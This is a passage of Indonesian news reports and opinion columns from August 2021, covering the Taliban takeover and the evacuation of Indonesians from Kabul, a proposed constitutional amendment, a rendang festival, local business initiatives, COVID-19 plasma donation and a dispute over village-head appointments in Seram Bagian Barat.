Dalam sambutannya, Komarudin juga mengucapkan selamat datang dan selamat bergabung kepada seluruh mahasiswa baru UNJ, kampus perjuangan, pusat pemikiran dan tanah peradaban. “Saudara merupakan mahasiswa pilihan dari sekian banyak calon mahasiswa yang berminat masuk UNJ. Untuk itu, harus mempunyai rasa bangga menjadi mahasiswa Universitas Negeri Jakarta” jelas Komarudin. Komarudin berharap PKKMB dapat menambah pengetahuan, wawasan dan membentuk karakter kemahasiswaan UNJ yang tangguh, cerdas, inovatif dan kompetitif, sebagaimana peran sentral mahasiswa sebagai agen perubahan bangsa. Terdapat tiga kunci penting untuk menjadi agen perubahan, yakni harus mampu menjadi juara dan teladan dalam bidang akademik, menjadi juara dan teladan dalam organisasi kemahasiswaan, dan menjadi juara dan teladan di keluarga, masyarakat dan bagi bangsa serta negara. (mth)

Putin dan Erdogan Sepakat Perkuat Koordinasi Masalah Afghanistan

Jakarta, FNN - Presiden Rusia, Vladimir Putin, dan Presiden Turki, Tayyip Erdogan, membahas situasi di Afghanistan selama pembicaraan melalui telepon dan sepakat untuk memperkuat koordinasi bilateral mengenai masalah Afghanistan. Hal itu disampaikan Kremlin dalam pernyataan pada Sabtu (21/8). Kedua presiden, Putin dan Erdogan, menekankan prioritasnya adalah upaya kontra-terorisme dan memerangi perdagangan narkoba, demikian disampaikan Kremlin. Militan Taliban menguasai Kabul pada akhir pekan lalu, dan hal itu telah membuat ribuan warga sipil dan sekutu militer Afghanistan melarikan diri ke tempat yang aman. Erdogan menyuarakan harapan untuk transisi yang lancar di Afghanistan dan menekankan pentingnya bagi Taliban untuk tidak mengulangi kesalahan sebelumnya dan menepati janji mereka dengan suatu pendekatan etnis yang inklusif. "Pemerintah baru yang akan dibentuk di Afghanistan harus inklusif dan mewakili keragaman rakyat Afghanistan," kata Erdogan kepada Putin menurut pernyataan yang dikeluarkan setelah panggilan telepon antara kedua presiden tersebut. Pada Rabu (18/8), Erdogan mengatakan Turki masih berniat untuk menjaga keamanan di bandara Kabul setelah para pejuang Taliban menguasai ibukota Afghanistan. (sws)

Pesawat TNI AU yang Bawa WNI dari Afganistan Tiba di Jakarta

Jakarta, FNN - Pesawat TNI AU yang membawa Warga Negara Indonesia dari Afganistan mendarat di Bandara Halim Perdanakusuma, Jakarta Timur sekitar pukul 03.09 WIB. "Alhamdulillah pada dini hari ini, WNI dari Afganistan telah berhasil kita evakuasi dan baru saja tiba dengan selamat di Jakarta," kata Menteri Luar Negeri Retno Marsudi di Bandara Halim Perdanakusuma, Sabtu dini hahar. Kedatangan WNI dari Afganistan itu disambut langsung Menlu Retno Marsudi didampingi Panglima TNI Marsekal TNI Hadi Tjahjanto. Retno memaparkan, pemerintah membawa pulang 26 WNI termasuk staf Kedutaan Besar Republik Indonesia (KBRI) di Afghanistan. Kemudian lima orang warga negara Filipina dan dua orang warga Afghanistan yang merupakan suami dari WNI dan staf lokal KBRI. "Selain WNI, dalam misi evakuasi ini ikut juga lima warga negara Filipina yang memang pemerintahnya meminta bantuan untuk ikut diangkut dalam misi evakuasi Indonesia," ucap Menlu Retno. Bantuan membawa warga negara asing dalam misi evakuasi, lanjut dia, bukan pertama dilakukan dan merupakan kewajiban kemanusiaan yang harus dilakukan. Sementara itu, Panglima TNI Marsekal TNI Hadi Tjahjanto menambahkan evakuasi WNI dari Kabul ke Jakarta tersebut tidak ringan karena banyak permasalahan dan dinamika di lapangan yang dihadapi. "Namun semua bisa dilaksanakan dengan baik berkat kerja sama antar kementerian dan lembaga sehingga operasi ini bisa berjalan dengan aman dan lancar," tutur Retno. Seluruh WNI yang dievakuasi dan anggota tim evakuasi langsung menjalani protokol kesehatan sesuai aturan ketibaan dari luar negeri. (sws)

Waspadai Dialektika Politik

By M Rizal Fadillah DALAM Rapat Paripurna MPR 16 Agustus 2021 Ketua MPR Bambang Soesatyo mengantarkan dengan menyinggung rencana Amandemen UUD 1945 mengenai Pokok Pokok Haluan Negara (PPHN). Agenda ini kemudiannya menimbulkan pro dan kontra. Sebenarnya partai politik pun belum ada kesepakatan. Dua hal yang perlu mendapat perhatian dari rencana amandemen PPHN. Pertama, bagaimana PPHN, sebagai nomenklatur lain dari GBHN, relevan dengan status Presiden yang bukan Mandataris MPR? Kedua, apakah amandemen satu pasal ini tidak membuka ruang bagi amandemen pasal lain seperti perpanjangan masa jabatan Presiden? Meski sepertinya Presiden Jokowi menolak perpanjangan tiga periode, akan tetapi suara yang mendorong dari pendukung ternyata tidak dicegah, bahkan dibiarkan. Pembentukan Jokpro 2024 pimpinan Qadari adalah sebuah contoh. Terkesan perpanjangan tiga periode adalah isu politik yang sengaja dilempar dan diramaikan. Dialektika politik sedang dimainkan dengan merujuk pada filsafat politik Friedrich Hegel, bapak materialisme yang pelanjutnya adalah Karl Marx. Hegel berprinsip "semua yang real bersifat rasional dan semua yang rasional bersifat real". Hegel mengenalkan hukum dialektika dalam trilogi tesis, anti tesis dan sintesis. Menurutnya tidak ada suatu kebenaran absolut karena berlaku hukum dialektika. Yang absolut adalah semangat revolusionernya yakni perubahan tesis oleh anti tesis untuk menjadi sintesis. Masa jabatan Jokowi sesuai UUD 1945 yang selesai pada tahun 2024 merupakan tesis, sementara amandemen perpanjangan menjadi tiga periode hingga tahun 2029 adalah anti tesis. Lalu apa sintesisnya ? Inilah sebenarnya yang ditargetkan dari dialektika politik itu. Sintesisnya adalah perpanjangan 3 tahun hingga 2027 tanpa amandemen ! Pandemi akan menjadi alasan "rasional yang real dan realita yang rasional". Anggota MPR akan mudah menyetujui. Pandemi juga menolong anggota DPR dan DPD bahkan DPRD untuk mendapat anugerah perpanjangan tiga tahun. Bentuk hukumnya dapat Ketetapan MPR atau Perppu yang kemudian menjadi Undang-Undang. Mudah untuk digugat uji materiel, tapi MK pun mudah untuk diatur. Inilah bahaya ketatanegaraan di depan mata kita. Presiden dan Wakil Rakyat yang sedang berbicara tentang kepentingan dirinya sendiri. Sementara rakyat dibiarkan secara permanen merenungi nasibnya sendiri. Pandemi covid 19 menjadi alasan politik untuk berbuat semaunya. Merampok uang negara, memaksa rakyat, melarang unjuk rasa, menangkap dan menghukum, termasuk memperpanjang masa jabatan. Semuanya atas nama pandemi yang maha kuasa. Amandemen UUD 1945 soal PPHN adalah kotak Pandora untuk memulai malapetaka di ruang "semua yang real bersifat rasional dan semua yang rasional bersifat real". Dialektika politik Hegel tesis, anti tesis dan sintesis ini harus diwaspadai. *) Pemerhati Politik dan Kebangsaan Bandung, 22 Agustus 2021

Wali Kota Padang Nilai Rendang Masakan Pemersatu

Padang, FNN - Wali Kota Padang Hendri Septa menilai rendang merupakan masakan pemersatu karena disukai banyak pihak tidak hanya di Sumbar namun juga provinsi lain bahkan hingga ke luar negeri. "Rendang tak hanya sekadar makanan, namun juga berperan dalam menciptakan persatuan dan kesatuan," kata dia di Padang, Sabtu usai mengikuti Festival Memasak Rendang Sedunia yang dilangsungkan di Mako Pangkalan Utama Angkatan Laut (Lantamal) II Padang. Ia menilai rendang harus diapresiasi sebagai hasil masakan tradisi yang ada di Sumatera Barat yang harus diwarisi dan dikembangkan. "Karena rendang kita bisa bersatu, seperti dalam festival memasak rendang sedunia kali ini. Pesertanya mencapai tiga ribu lebih partisipan. Tidak saja di Tanah Air namun juga yang tengah berada di berbagai negara di dunia. Kegiatan ini telah mempersatukan kita satu sama lainnya," katanya. Lebih lanjut ia berharap, agar eksistensi rendang terus mendunia sebagai salah satu makanan yang dapat menggerakkan ekonomi. "Saat ini ekonomi bangsa telah diporak-porandakan oleh pandemi COVOD-19. Semoga momentum festival memasak rendang sedunia ini dapat memicu kebangkitan ekonomi kita, terutama dalam hal ekspor rendang ke berbagai negara di dunia," katanya. Ia menambahkan saat ini pihaknya tengah membangun Sentra Rendang Kota Padang yang berlokasi di kawasan Lubuk Buaya, Kecamatan Koto Tangah "Banyak manfaat dengan hadirnya Sentra Rendang tersebut salah satunya sebagai sentra pendidikan dan pelatihan cara memasak rendang di samping memasarkan rendang ke pembeli atau wisatawan yang datang ke Kota Padang. Sehingga akan menjadi 'tourism attraction' atau ikon baru di sektor pariwisata dan perdagangan di Sumbar dan Kota Padang khusunya," katanya. Sementara itu dalam sambutannya yang secara virtual, Ibu Negara Iriana Joko Widodo mengungkapkan harapnnya agar rendang dapat diakui Organisasi Pendidikan, Keilmuan dan Kebudayaan Perserikatan Bangsa-Bangsa (UNESCO) sebagai warisan budaya dunia. Tidak hanya itu, ia juga ingin rendang mendapatkan tempat di hati dan dicintai masyarakat dunia. Menurutnya dengan memasak rendang serentak secara virtual kali ini diharapkan dapat menunjukkan kekayaan kuliner Indonesia kepada dunia. Begitu pun meyakinkan dunia bahwa rendang layak dicintai. “Melalui memasak rendang bersama ini, kita tunjukkan kepada dunia akan kekayaan kuliner Indonesia. Kita yakinkan kepada dunia bahwa rendang layak dicintai dan diakui oleh UNESCO dan dunia,” kata Iriana. Sementara itu, Gubernur Sumbar Mahyeldi menyambut baik dan mengapresiasi atas inisiasi Lantamal II Padang yang menyelenggarakan kegiatan memasak rendang serentak di seluruh dunia tersebut. “Ini merupakan momentum penting yang perlu kita catat, karena pertama kali dilaksanakan yang mengangkat warisan budaya dari Sumatera Barat dengan melibatkan masyarakat dunia,” kata Mahyeldi. Kegiatan yang diselenggarakan oleh jajaran Lantamal II Padang yang didukung sejumlah pihak termasuk Ibu Negara Iriana Joko Widodo. (mth)

TransJakarta Raih Penghargaan Utama di IDX Channel

Jakarta, FNN - Badan Usaha Milik Daerah (BUMD) DKI Jakarta, PT Transportasi Jakarta (TransJakarta) meraih penghargaan utama pada ajang IDX Channel Anugerah Inovasi Indonesia (ICAII) yang mengusung tema "Accelerating Economic Recovery in Pandemic". Dalam acara yang digelar secara virtual pada Kamis (19/8) malam lalu, BUMD DKI Jakarta pada sektor transportasi tersebut memenangkan penghargaan utama untuk kategori Produk dan Model Bisnis melalui "TIJE Apps" sebagai platform bisnis dan layanan pelanggan terintegrasi. "Semua tentunya tidak lepas dari dukungan Pemerintah Provinsi DKI Jakarta yang terus memberi dukungan pada setiap inovasi yang dilakukan TransJakarta hingga saat ini, termasuk dengan TIJE Apps yang telah dinikmati masyarakat sejak akhir 2020 lalu," kata Direktur Utama PT TransJakarta Sardjono Jhony Tjitrokusumo di Jakarta, Sabtu. Aplikasi TIJE merupakan platform bisnis dan layanan untuk pelanggan secara digital sebagai salah satu solusi terbaik di tengah pandemi yang membuat segala aktivitas menjadi sangat terbatas. Harapannya, Tije Apps dapat memudahkan masyarakat ketika menggunakan layanan TransJakarta baik dalam melakukan pembayaran, pemesanan tiket hingga melihat posisi serta waktu kedatangan bus secara terkini, sehingga semua pembayaran menjadi "touchless" dan "cashless" yang diharapkan bisa meminimalisasi penyebaran virus corona. Menurut Jhony, penghargaan ini tentu menjadi motivasi bagi PT Transportasi Jakarta untuk terus bertransformasi dari berbagai sisi agar dapat memberikan pelayanan terbaik kepada jutaan pelanggannya. Jhony menjelaskan TIJE Apps merupakan salah satu inovasi dan bentuk transformasi yang terus digalakkan oleh perusahaan. Ke depannya, TransJakarta mempersiapkan inovasi lainnya yang memberi kemudahan masyarakat dalam hal transportasi, salah satunya dengan menerapkan sistem pengenalan wajah (face regocnition) sebagai akses masuk ke dalam "gate" halte. Inovasi ini dilakukan selain untuk memudahkan masyarakat, juga sebagai bukti akan konsistensi TransJakarta dalam memberikan pelayanan terbaik dan berupaya untuk mengikuti perkembangan zaman, serta teknologi yang terus berkembang dari waktu ke waktu, tidak terkecuali di sektor transportasi. "Semoga apresiasi ini menjadi dorongan bagi TransJakarta untuk terus berkembang dan beradaptasi untuk pemanfaatan teknologi di segala lini termasuk dalam bisnis dan layanan publik secara beriringan. Diharapkan bisa menjadi daya saing perusahaan dan meningkatkan kontribusi maksimal bagi masyarakat dan juga bangsa," kata Jhony. Sebagai tambahan, TIJE Apps merupakan platform digital yang diluncurkan pada Oktober 2020 dengan menghadirkan fitur awal yakni transfer tiket, digital QR Ticketing, smart assistance, estimasi kedatangan bus secara terkini. Kemudian, pengembangan aplikasi terus dilakukan dengan kembali meluncurkan 6 fitur tambahan yang tidak kalah canggih serta ramah kesehatan, yakni homepage dengan tampilan yang lebih simple dan menarik, Tjari bus, Tjari Rute, Informasi rute, Informasi Halte dan Loyalti-je. Proses pembayaran juga semakin dimudahkan dengan pembayaran digital menggunakan E-wallet dari LinkAja dan AstraPay. (mth)

Pengusaha Aceh Tampung Produk Lokal Hasil Karya Pelajar SMK

Banda Aceh, FNN - Salah seorang pengusaha Aceh Nahrawi Noerdin bersedia menampung produk-produk lokal hasil karya para pelajar Sekolah Menengah Kejuruan (SMK) di Aceh, untuk kemudian ditempatkan di outlet usaha miliknya. “Kita siap menampung semua produk SMK seluruh Aceh, nanti akan kita lakukan MoU untuk jenis makanan dan minuman seluruh Aceh kita tampung," kata Nahrawi Noerdin, di Banda Aceh, Sabtu. Direktur Pasya Jaya Groub ini mengaku sudah lama memiliki perhatian khusus pada pengembangan produk-produk lokal, terutama produk yang dihasilkan oleh sekolah-sekolah vokasi di Aceh. "Semua produk makanan dan minuman yang dihasilkan oleh setiap SMK di Aceh ini nantinya akan kita tempatkan di outlet Café D`Energi (usaha miliknya)," ujarnya. Nahrawi mengatakan, dirinya akan melakukan berbagai cara untuk memasarkan produk lokal tersebut, bahkan bersedia memberikan subsidi supaya harganya terjangkau jika nantinya banyak yang menilai bahwa harga produk lokal lebih mahal dari luar. “Kita akan buat dua jenis makanan khususnya organik dan non organik. Jika pun nanti ada yang bilang harga organik mahal maka kita bisa subsidi sehingga terjangkau,” katanya. Langkah ini perlu dilakukan supaya masyarakat teredukasi terhadap makanan organik, bahkan dirinya siap mensosialisasikan proses penanaman hingga tahap produksi terhadap produk organik melalui media visual. “Di situ kemudian kita akan tampilkan proses penanaman, proses panen, kita buat slide di TV sehingga paham masyarakat bahwa ini adalah organik,” ujar pria yang akrab disapa Toke Awie itu. Awie mengungkapkan, apa yang dilakukannya tersebut merupakan bentuk dukungan terhadap produk-produk lokal yang selama ini sering terkendala pada pemasaran, padahal produk tersebut memiliki kualitas yang tidak kalah saing dengan produk luar. “Tentunya kita harus punya gagasan, kita harus memasarkan produk lokal dengan itikad baik, pasti dengan sendirinya masyarakat akan sadar, sehingga produk luar itu tidak akan masuk lagi,” demikian kata Awie. Menyikapi hal tersebut, Kepala Dinas Pendidikan Aceh Alhudri mengucapkan terima kasih dan mengapresiasi atas ketertarikan D`Energy pada produk milik SMK di Aceh. Diharapkan agar hal seperti ini harus terus berlanjut sehingga kreativitas dan produktivitas pelajar SMK bernilai serta laku di pasaran. Begitupun kepada para Cabang Dinas Pendidikan Aceh, Alhudri meminta untuk terus mempromosikan hasil karya anak didik sekolah vokasi, karena dengan publikasi publik dapat mengetahui bahwa anak-anak didik di SMK memiliki produk yang bagus, sehingga menarik masyarakat untuk membelinya. “Ini contoh D`energy yang sudah mau membeli produk dari SMK, ini tentunya luar biasa. Kita berharap akan muncul nanti pengusaha lainnya,” kata Alhudri. Alhudri menegaskan, Dinas Pendidikan Aceh akan terus mensupport sekolah vokasi di Aceh peserta didik di sekolah memiliki karya kreatifitas yang bernilai sehingga bisa menciptakan lapangan kerja sendiri, dan dapat bersaing di dunia industri. "Kalaupun nantinya tidak berkerja di perusahaan, mereka bisa membuka home industri karena sudah memiliki kreativitas, dan jika ini dilakukan dengan baik maka peningkatan kesejahteraan Aceh meningkat," ujar Alhudri. (mth)

Antrian Kebutuhan Darah Plasma Konvalesen di Banjarmasin Menurun

Banjarmasin, FNN - Antrian kebutuhan darah plasma konvalesen untuk terapi kesembuhan pasien COVID-19 di Palang Merah Indonesia (PMI) Kota Banjarmasin, Kalimantan Selatan menurun drastis. Informasi dihimpun, Sabtu, pekan lalu PMI Kota Banjarmasin melalui Unit Donor Darah (UDD) setempat menyampaikan data lebih 250 antrian kebutuhan darah plasma konvalesen untuk semua jenis golongan darah. Namun pada pekan ini hingga 21 Agustus 2021 UDD PMI Kota Banjarmasin menyampaikan data terbaru antrian kebutuhan darah plasma konvalesen tinggal sebanyak 18 kantong darah, yakni, untuk golongan A sebanyak empat kantong darah. Kemudian untuk golongan B sebanyak 8 kantong darah, untuk golongan O sebanyak tiga kantong darah dan untuk golongan AB tiga kantong darah. Turunnya kebutuhan darah plasma konvalesen bagi pasein COVID-19 dari sebelumnya, bisa jadi menunjukkan meningkatkan para pendor darah plasma atau pasein COVID-19 yang membutuhkan darah tersebut sangat berkurang. Kepala UDD PMI Kota Banjarmasin dr H Aulia Ramadhan Supit mengatakan kebutuhan darah plasma konvalesen untuk terapi kesembuhan pasien COVID-19 di daerah ini masih tinggi. Di mana para pendonor darah khusus ini juga sangat minim. Dijelaskannya dia, sangat berkurangnya antrian kebutuhan darah plasma konvalesen tersebut saat ini dari sebelumnya bukan berarti semuanya sudah dipenuhi, tapi ada yang membatalkan permintaan dan pasein yang membutuhkan itu meninggal dunia. Pihaknya pun terus berupaya agar pemenuhan kebutuhan darah plasma konvalesen ini bisa cepat didapatkan pasein COVID-19, sehingga terus berupaya mencari pendonornya, baik menghubungi langsung pendonor maupun lewat pesan media sosial secara berantai. Sebagaimana disebutkannya dia sebelumnya, orang yang bisa mendonorkan darah plasma, yakni, usia di atas 18 tahun hingga 60 tahu, berat badan minimal 55 Kg, diutamakan laki-laki kalau perempuan yang tidak pernah hamil. Selanjutnya, pernah terkonfirmasi positif COVID-19 dengan bukti hasil laboratorium, juga tidak memiliki gejala sisa minimal 14 hari sebelum donor dan tidak menerima transfusi darah selama 3 bulan terakhir. (mth)

Pemkab Bangkalan Bina Usaha Lokal Bersama "OK OCE"

Bangkalan, FNN - Pemerintah Kabupaten (Pemkab) Bangkalan, Jawa Timur memutuskan menggandeng komunitas Gerakan Sosial Pencipataan Lapangan Kerja "OK Oce/One Kecamatan, One Center of Enterpreneurship" guna menghidupkan ekonomi masyarakat, akibat pandemi COVID-19 dan memperluas terciptanya lapangan kerja di wilayah itu. Menurut Wakil Bupati Bangkalan Muhni di Bangkalan, Sabtu, keputusan menggandeng komunitas ini dilakukan, karena pemkab memiliki kepentingan serta visi dan misi yang sama dalam menumbuhkembangkan iklim usaha yang lebih baik dan bermajuan. "Pemkab Bangkalan telah mengkomunikasikan hal ini dengan pengurus OK Oce Bangkalan dan mereka bersedia untuk bergerak bersama, memajukan ekonomi masyarakat di Bangkalan ini, dan bersedia juga memanfaatkan jaringan bisnis yang telah terbangun di OK Oce tersebut," kata wabup. Orang nomor dua di lingkungan Pemkab Bangkalan ini menuturkan, kendata para pelaku usaha mikro yang ada di Bangkalan itu pada bidang manajemen, modal usaha dan pola pemasaran. Sehingga, kelemahan yang ada itu harus diperbaiki, dibina dan diaraskan, agar omzet penjualan mereka pada akhirnya bisa lebih baik. Di samping itu, di era digital seperti sekarang ini, pola pemasarang dalam jaringan juga perlu dilakukan, dan para pelaku usaha juga dituntut agar bisa memasarkan usahanya melalui media dalam jaringan. "Komunitas OK.Oce ini, saya kira memiliki kemampuan itu, di samping pola komunikasi yang baik dalam bidang pemasaran yang didukung oleh jaringan para pelaku usaha yang luas di berbagai daerah di Indonesia," katanya. OK Oce atau One Kecamatan, One Center of Entrepreneurship awalnya merupakan program pemerintah provinsi DKI Jakarta yang berusaha melakukan pembinaan kewirausahaan terhadap pelaku usaha mikro, kecil, dan menengah di bawah asuhan Dinas Koperasi dan UMKM. Program ini mulai dijalankan di bawah kepemimpinan Anies Baswedan dan Sandiaga Uno. Untuk tahun 2018, program ini akan mendapat alokasi dana sebesar Rp82 Miliar untuk membangun pusat pembinaan di gedung pemerintah tingkat kecamatan. Dalam perkembangannya, program yang fokus pada upaya mendorong pertumbungan ekonomi baru melalui pembentukan dan pembinaan para pelaku usaha tersebut akhirnya menjadi program sosial. Misi yang diusung di komunitas ini, ekonomi yang mengutamakan kepentingan rakyat, adil, makmur, berkualitas dan berwawasan lingkungan, mendorong penciptaan wirausaha baru, membangun pusat kewirausahaan di tingkat Kecamatan untuk memperkuat produk-produk UMKM, serta menciptakan lapangan kerja sebanyak-banyaknya dengan mengutamakan tenaga kerja lokal. Pendiri komunitas tersebut, yakni Sandiaga Uno, menyerahkan sepenuhnya kepada pengurus lainnya untuk dikembangkan secara mandiri, karena dinilai oleh sebagian orang sebagai program politis. "Tapi, kami dalam konteks ini tidak melihat dari sisi politisnya, akan tetapi pada misi dan kepentingan yang sama, antara Pemkab Bangkalan dengan komunitas ini, yakni membangun kesejahteraan masyarakat melalui gerakan dan pemberdayaan wirausaha," kata Wabup Bangkalan Muhni, menjelaskan. Sebelumnya Ketua OK OCE Ina Makmur Bangkalan pada acara pelantikan pengurus komunitas itu pada 19 Agustus 2021 di Pendopo Agung Bangkalan Lukman Hakim mengaku, menyambut baik, keinginan Pemkab Bangkalan. "Kita perlu menerapkan langkah 3G terkait tercana baik ini, yakni terdiri dari Gerak Cepat, Gairah Bersama dan Garap Potensi yang ada, dalam memajukan perekonomian berbasis kerakyatan serta mempunyai daya saing global," kata Lukman. (mth)

Menteri Luar Negeri Taiwan Tuduh China Ingin Meniru Taliban

Taipei, FNN - Menteri Luar Negeri Taiwan Joseph Wu menuduh China ingin "meniru" Taliban. Dalam pernyataannya, Sabtu (21/8), Wu mengatakan, Taiwan yang diklaim Beijing sebagai wilayah China yang berdaulat, tidak ingin menjadi subyek komunisme atau kejahatan kemanusiaan. Jatuhnya pemerintah Afghanistan yang didukung Amerika Serikat dalam waktu singkat ke Taliban telah menyulut debat panas di Taiwan tentang apakah mereka bisa mengalami nasib yang sama dengan invasi China. Media pemerintah China mengatakan apa yang terjadi di Kabul menunjukkan kepada Taiwan bahwa mereka tak bisa mempercayai Washington. Menanggapi pernyataan Departemen Luar Negeri AS yang meminta China untuk berhenti menekan pulau itu, lewat Twitter Wu mengungkapkan rasa terima kasihnya kepada AS yang telah mengangkat harapan dan kepentingan terbaik rakyat Taiwan. "Termasuk demokrasi & kebebasan dari komunisme, otoritarianisme & kejahatan terhadap kemanusiaan," cuit Wu. "China bermimpi meniru Taliban. Akan tetapi, biarkan saya berterus terang: Kami punya kemauan dan sarana untuk membela diri," kata Wu tanpa menjelaskan lebih jauh. Belum ada respons dari China karena Kantor Urusan Taiwan tidak menjawab panggilan untuk dimintai komentarnya di luar hari kerja. China bermaksud membangun hubungan dengan Taliban, meskipun masih mengkhawatirkan dampaknya terhadap kemungkinan munculnya kelompok pemberontak di Xinjiang. Afghanistan telah menjadi isu terkini yang diperdebatkan oleh Taiwan dan China. Taiwan telah mengeluhkan tekanan militer dan diplomatik China yang meningkat dalam beberapa bulan terakhir, termasuk latihan perang di dekat negara pulau itu, yang memicu kekhawatiran AS dan negara Barat lainnya. Taiwan adalah negara demokrasi yang rakyatnya telah menunjukkan sedikit minat supaya diperintah oleh pemerintah China yang otokratis. Beijing juga marah dengan dukungan AS kepada Taiwan, termasuk penjualan senjata, meski pemerintah Taipei tak punya hubungan diplomatik dengan Washington. (MD).

Cabe atau Catatan Babe: Hello Sadness! Paradigma dan Format Baru Politik Luar Negeri Amerika

Tentu Mega punya alasan shahih untuk menangis. Karena 2-3 hari sebelum menangisi Jokowi, Mega menegur keras Jokowi agar stop pencitraan. Oleh Ridwan Saidi PADA bulan Mei 2021 terjadi konflik senjata Hamas vs Israel. Orang menduga conflict as usual. Sebentar lagi juga setop sendiri. Orang hafal sejak 1967 selalu demikian. Ternyata konflik Mei 2021 beda dengan serangkaian konflik pasca 1967. Timeframe konflik Mei 2021 selama 11 hari, negara barat tidak ada yang campur, bahkan komentar pun tidak. Lebih tidak terduga konflik berujung rundingan, Israel menurut. Belum hilang May Surprise tahu-tahu Taliban berpentas di Afganistan. Begitu Amerika Serikat mnyatakan meninggalkan Afghanistan, timeframe Kabul jatuh bagai terukur. Saya hormat pada yang berpendapat Amerika Serikat (AS) keok. Akan tetapi, kalau belajar dari kasus perang Vietnam, maka kesimpulan bisa lain karena format yang dipakai kepada Taliban mirip dengan yang dipakai di Vietnam dimana US Army pergi dari Vietnam dan beberapa tahun kemudian kembali, tidak fisik, tetapi pengaruhnya yang datang di Vietnam. Melihat Taliban Agustus 2021, saya simpulkan ini format baru, konten tetap. Namun, saya hargai pendapat lain. Gaza membangun sekarang dengan bantuan Mesir. Mesjid indah Palestina pun sudah diresmikan. Sampai terbentuknya negara Palestina, Israel tidak boleh ganggu, apalagi kalau Negara Palestina berdiri. Sementara itu, Taliban mengakui tidak kurang dari enam kali mereka bertemu Donal Trump, semasa masih Presiden Amerika Serikat. Tampaknya, politik luar negeri AS tidak berubah, tetapi oradigmanya baru. Begitu juga di Asia Tenggara. Penyelesaian kudeta militer di Myanmar, didiamkan saja oleh AS. Demikian juga penyelesaian krisis pemerintahan Malaysia juga tidak dikomentari AS. Bagaimana dengan Indonesia? Baru-baru ini Megawati menangisi Presiden Jokowi yang diejek medsos atau media sosial. Padahal, netizen di medsos mengejek Jokowi sudah lama. Akan tetapi, kok baru menangis sekarang. Tentu Mega punya alasan shahih untuk menangis. Karena 2-3 hari sebelum menangisi Jokowi, Mega menegur keras Jokowi agar setop pencitraan. Meyakinkan, kalau di antara dua event terjadi pertemuan Jokowi-Mega. Kalau pertemuan itu ada, tentu Jokowi menceritakan sesuatu kepada Mega. Hal itu sebab sejati banjir air mata pada acara zoom Megawati. Sesuatu yang diceritakan Jokowi kepada Mega bukan kisah Bollywood, tetapi itu Bonjour Tristesse, film 1958 Otto Preminger. Hello Sadness. Berdekatan dengan cry story Mega, Prabowo imbau agar kita tiru pimpinan partai komunis China. Hari Ulang Tahun Partai Komunis Cina 1 Juli, baru diapresiasi satu setengah bulan kemudian. Apa mau membuat Amerika cemburu? Susahnya kalau tidak dihiraukan. Emang gue pikirin? Expresi unik kedua tokoh tersebut menggiring saya pada kesimpulan, telah tiba "Sandya Kala Ning Mojopahit". (Majapahit bubar pada 1479 karena kehabisan ongkos). Penulis adalah budayawan Betawi.

Ganti Pejabat Kades di SBB, Plh Bupati Akerina Bikin Gaduh

by Hasan Minanan Ambon FNN - Masyarakat di Kabupaten Seram Bagian Barat (SBB), Maluku dibuat resak dalam dua minggu tarkhir ini. Penyebabnya, kebijakan Pelaksana Harian (Plh) Bupati SBB Timotius Akerina yang melakukan pembersihan terhadap para Pejabat Kepala Desa yang dianggap sebagai pendukung setia mantan Bupati, almarhum Yasin Payapo. Tidak harmonisnya hubungan antara mantan Bupati SBB, almarhum Yasin Payapo dengan wakilnya selama emat tahun, membuat membuat Timotius Akerina seperti menyimpan dendam kusumat. Ketika menjabat sebagai Plh Bupati, Akerina seperti pejabat yang kalap. Dendamnya kepada orang-orang yang dianggap sebagai pendukung Yasin Payapo seperti terlampiaskan. Mendapat tempat penampungan. Sejumlah pejabat Kepala Desa (Kades) di Kabupaten SBB yang diangkat oleh mantan Bupati Yasin Payapo diancam bakal dicopot. Kebijakan ini kalau benar sampai dilaksanakan, maka Akerina nyata-nyata memproduksi kegaduhan di tengah masyarakat. Padahal masyarakat tengah berjuang dan berperang melawan penyebaran pandemi Covid-19. Masyarakat juga sedang berupaya keras untuk meningkatkan kemampuan ekonominya. Sebab faktanya daya beli masyarakat di seluruh Indonesia lagi menurun dengan drastis. Menghadapi situasi darurat kesehatan, darurat ekonomi dan darurat sosial seperti ini, menjadi tugas utama pejabat daerah untuk membangun ketenangan di tengah masyarakat. Bukan sebaliknya, malah membuat keruh suasana, bahkan menciptakan kegaduhan. Soliditas dan keharmonisan yang telah ada di masyarakat, harusnya didorong untuk dikuatkan. Syukur-syukur bisa ditingkatkan. Jangan malah sebaliknya, yang sudah solid dan harmoni itu, dibuat menjadi gaduh hanya karena dendam kepada mantan Bupati. Bisa juga karena yang diganti itu dianggap sebagai orangnya mantan Bupati Yasin Payapo. Bukan pekerjaan mudah membangun soliditas di tengah masyarakat yang lagi berjuang, bahkan berperang melawan dan menghadapi tiga tekanan kehidupan yang datang secara bersamaan. Pertama tekanan masalah kesehatan (Covid-19). Kedua, tekanan masalah ekonomi. Ketiga, tekanan masalah sosial, berupa kelanjutan pendidikan setiap anak. Penyebaran Covid-19 sudah sampai ke desa-desa di Kabupaten SBB. Cirinya banyak masyarakat yang mengalami kehilangan penciuman dan rasa terhadap makanan yang di makan. Ada yang semua anggota keluarga di dalam rumah mengalami hal yang sama. Hanya saja masyarakat tidak mau melaporkan ke rumah sakit atau puskesmas terdekat yang asa di SBB. Masyarakat lebih memilih untuk melakukan isolasi mandiri di rumah. Menghadapi situasi ini Plh Bupati SBB, Timotius Akerika harusnya membuat kebijakan yang memastikan tidak adanya pergantian pejabat yang menimbulkan kegaduhan. Kecuali hanya untuk kebutuhan yang benar-benar amat mendesak. Misalnya, untuk mengisi kekosongan pada jabatan mereka yang akan pensiun atau berhalangan tetap, sehingga dikhwatirkan tidak bisa melaksanakan tugas sebagai pejabat publik di pemerintahan dengan baik dan benar. Memimpin tata kelola pemerintahan yang berbasis dendam, hanya mempertontonkan ciri dan karakter kepemimpinan yang picik, licik, kerdil, picisan, amatiran dan kampungan. Pemimpin yang kehilangan kewarasan dan empati terhadap bahannya sendiri. Pengajar filsafat di Universitas Indonesia Rocky Gerung menyebutnya dengan pemimpin yang dungu dan dongo. Pemimpin seperti ini, bila terus menjabat, dikhawatirkan akan selalu dan selalu memproduksi keterbelahan dan kegaduhan di tengah masyarakat. Bisa juga disebut sebagai pemimpin odong-odong, kaleng-kaleng dan beleng-beleng. Pemimpin yang tidak memahami esensi bernegara, yaitu sila “Persatuan Indonesia”. Persatuan itu membuat yang terpecah menjadi bersatu atau bersama. Bukannya membuat yang sudah bersatu terpecah, dan berbalik memusuhi pemipim. Seorang pejabat Kepala Desa bercerita, bahwa Timotius Akerina dendam kepadanya. Karena dianggap sebagai orangnya mantan Bupati Yasin Payapo yang meninggal dunia 